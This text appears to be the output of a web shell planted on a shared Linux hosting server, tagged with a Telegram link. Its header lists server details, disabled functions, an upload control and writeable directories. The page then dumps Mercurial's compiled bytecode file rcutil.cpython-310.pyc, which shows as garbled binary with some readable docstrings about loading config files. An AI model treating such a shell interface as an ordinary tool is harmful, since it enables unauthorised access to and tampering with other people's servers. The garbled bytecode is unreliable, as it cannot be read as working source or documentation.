https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/mercurial/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/mercurial/__pycache__/rcutil.cpython-310.pyc
o

�]LbK�@s�ddlmZddlZddlmZmZmZddlmZej	r$ddlm
ZnddlmZej
Z
ejZejZdd	�Zdd
d�Zdd
�Zdd�Zdd�Zdd�ZdS)�)�absolute_importN�)�encoding�pycompat�util)�resourceutil)�
scmwindows)�scmposixcsBt�|��tj���rtjj�t��fdd�t���D��S�gS)z@path could be a file or a directory. return a list of file pathsc3s(�|]\}}|�d�r��|�VqdS)�.rcN)�endswith)�.0�f�k��join�p��2/usr/lib/python3/dist-packages/mercurial/rcutil.py�	<genexpr>#s��
�z _expandrcpath.<locals>.<genexpr>)r�
expandpath�os�path�isdirr�sorted�listdir)rrrr�
_expandrcpaths
�rcCsR|durtj}gd�}g}|D]\}}}||vrq|�||||d|f�q|S)z�Return [(section, name, value, source)] config items.

    The config items are extracted from environment variables specified by env,
    used to override systemrc, but not userrc.

    If env is not provided, encoding.environ will be used.
    N))sEDITOR�ui�editor)sVISUALrr)sPAGER�pagerrs$%s)r�environ�append)�env�	checklist�result�envname�section�
confignamerrr�
envrcitems)sr'cCst�d�}dd�t|�D�S)z#return rc resource IDs in defaultrc�mercurial.defaultrccSs*g|]}t�d|�r|�d�rd|f�qS)r(r
)r�is_resourcer�r�rrrr�
<listcomp>Cs
���z(default_rc_resources.<locals>.<listcomp>)r�contentsr)�rsrcsrrr�default_rc_resources@s
�r/cCs�dt�f}dtjvr*|g}tjd�tj�D]}|sq|�dd�t|�D��q|Sdd�t�D�}dd�}|�|t	���|�
|�|�|t���|S)	aRreturn an ordered [(type, obj)] about where to load configs.

    respect $HGRCPATH. if $HGRCPATH is empty, only .hg/hgrc of current repo is
    used. if $HGRCPATH is not set, the platform default will be used.

    if a directory is provided, *.rc files under it will be used.

    type could be either 'path', 'items' or 'resource'. If type is 'path',
    obj is a string, and is the config file path. if type is 'items', obj is a
    list of (section, name, value, source) that should fill the config directly.
    If type is 'resource', obj is a tuple of (package name, resource name).
    sitemssHGRCPATHcss�|]}d|fVqdS)�pathNr�rrrrrras�zrccomponents.<locals>.<genexpr>cSsg|]}d|f�qS)sresourcerr*rrrr,csz rccomponents.<locals>.<listcomp>cSsdd�|D�S)NcSsg|]
}dtj�|�f�qS)r0)rr�normpathr1rrrr,es�z2rccomponents.<locals>.<lambda>.<locals>.<listcomp>r)�pathsrrr�<lambda>es�zrccomponents.<locals>.<lambda>)r'rr�splitr�	ospathsep�extendrr/�systemrcpathr �
userrcpath)�envrc�
_rccomponentsr�	normpathsrrr�rccomponentsKs


�
r=cCs
ddd�S)zureturn a dict of default environment variables and their values,
    intended to be set before starting a pager.
    sFRXs-c)sLESSsLVrrrrr�defaultpagerenvns
r>cCs
dtjvS)z5True if repositories `.hg/hgrc` config should be readsHGRCSKIPREPO)rrrrrr�
use_repo_hgrcus
r?)N)�
__future__rr�rrr�utilsr�	iswindowsr�scmplatformr	�
fallbackpagerr8r9rr'r/r=r>r?rrrr�<module>s 
#

https://t.me/RX1948 - 2025